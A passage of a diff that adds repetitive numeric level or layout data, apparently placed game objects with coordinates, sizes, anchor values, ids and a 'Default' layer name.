+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 397,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1575.550537109375,
+ 796.9727172851562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 398,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1124,
+ 204,
+ 0,
+ 44.38152313232422,
+ 21.39823532104492,
+ 0,
+ -0.7823646664619446,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 498,
+ 401,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1123,
+ 286,
+ 0,
+ 96,
+ 69,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5072463750839233,
+ 0,
+ 0,
+ []
+ ],
+ 481,
+ 403,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1667.550537109375,
+ 512.4544067382812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 404,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1667.550537109375,
+ 608.4544067382812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 405,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1667.550537109375,
+ 702.4544067382812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 406,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1667.550537109375,
+ 797.4544067382812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 407,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1759.462280273438,
+ 702.7859497070312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 408,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1759.462280273438,
+ 797.7859497070312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 409,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1391.550537109375,
+ 892.5958862304688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 412,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1483.550537109375,
+ 892.5958862304688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 413,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1575.550537109375,
+ 892.5958862304688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 414,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1667.550537109375,
+ 893.0775756835938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 415,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1759.462280273438,
+ 893.4091186523438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 416,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1850.890747070313,
+ 702.5220947265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 417,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1850.890747070313,
+ 797.5220947265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 419,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1850.890747070313,
+ 893.145263671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 420,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1943.267211914063,
+ 702.52294921875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 421,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1943.267211914063,
+ 797.52294921875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 422,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1943.267211914063,
+ 893.1461181640625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 423,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2034.695678710938,
+ 702.2590942382812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 424,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2034.695678710938,
+ 797.2590942382812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 425,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2034.695678710938,
+ 892.8822631835938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 426,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2312.02490234375,
+ 680.7286987304688,
+ 0,
+ 170,
+ 51,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ 0,
+ 0,
+ []
+ ],
+ 480,
+ 427,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2420.10302734375,
+ 702.7859497070312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 428,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2420.10302734375,
+ 797.7859497070312,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 429,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2420.10302734375,
+ 893.4091186523438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 430,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2511.53173828125,
+ 702.5220947265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 431,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2511.53173828125,
+ 797.5220947265625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 432,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2511.53173828125,
+ 893.145263671875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 433,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2603.908203125,
+ 702.52294921875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 434,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2603.908203125,
+ 797.52294921875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 435,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2603.908203125,
+ 893.1461181640625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 436,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2695.33642578125,
+ 702.2590942382812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 437,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2695.33642578125,
+ 797.2590942382812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 438,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2695.33642578125,
+ 892.8822631835938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 439,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2787.205322265625,
+ 702.06982421875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 440,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2787.205322265625,
+ 797.06982421875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 441,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2787.205322265625,
+ 892.6929931640625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 442,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2878.634033203125,
+ 701.8059692382812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 443,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2878.634033203125,
+ 796.8059692382812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 444,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2878.634033203125,
+ 892.4291381835938,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 445,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2971.010498046875,
+ 701.8068237304688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 446,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2971.010498046875,
+ 796.8068237304688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 447,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2971.010498046875,
+ 892.4299926757812,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 448,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3062.438720703125,
+ 701.54296875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 449,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3062.438720703125,
+ 796.54296875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 450,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3062.438720703125,
+ 892.1661376953125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 451,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3154.195556640625,
+ 512.3993530273438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 453,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3154.195556640625,
+ 607.3993530273438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 454,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3154.195556640625,
+ 701.3993530273438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 455,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3154.5634765625,
+ 796.5443115234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 456,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3154.5634765625,
+ 892.16748046875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 457,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3246.15185546875,
+ 416.3993530273438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 458,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3246.15185546875,
+ 512.3993530273438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 459,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3246.15185546875,
+ 607.3993530273438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 460,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3246.15185546875,
+ 701.3993530273438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 461,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3246.519775390625,
+ 796.5443115234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 462,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3246.519775390625,
+ 892.16748046875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 464,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3338.097412109375,
+ 416.3993530273438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 465,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3338.097412109375,
+ 512.3993530273438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 466,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3338.097412109375,
+ 607.3993530273438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 467,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3338.097412109375,
+ 701.3993530273438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 468,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3338.46533203125,
+ 796.5443115234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 469,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3338.46533203125,
+ 892.16748046875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 470,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3430.0537109375,
+ 416.3993530273438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 471,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3430.0537109375,
+ 512.3993530273438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 472,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3430.0537109375,
+ 607.3993530273438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 473,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3430.0537109375,
+ 701.3993530273438,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 474,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3430.421630859375,
+ 796.5443115234375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 475,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3430.421630859375,
+ 892.16748046875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 476,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3683.82275390625,
+ 606.6860961914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 489,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3683.82275390625,
+ 701.6860961914062,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 490,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3683.82275390625,
+ 797.3092651367188,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 493,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3775.25146484375,
+ 606.4222412109375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 495,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3775.25146484375,
+ 701.4222412109375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 496,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3775.25146484375,
+ 797.04541015625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 497,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3867.6279296875,
+ 606.423095703125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 498,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3867.6279296875,
+ 701.423095703125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 499,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3867.6279296875,
+ 797.0462646484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 500,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3959.05615234375,
+ 606.1592407226562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 502,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3959.05615234375,
+ 701.1592407226562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 504,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3959.05615234375,
+ 796.7824096679688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 505,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4050.925048828125,
+ 605.969970703125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 509,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4050.925048828125,
+ 700.969970703125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 514,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4050.925048828125,
+ 796.5931396484375,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 515,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4142.353515625,
+ 605.7061157226562,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 516,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4142.353515625,
+ 700.7061157226562,
+ 0,
+ 96,
+ 99,
+ 0,
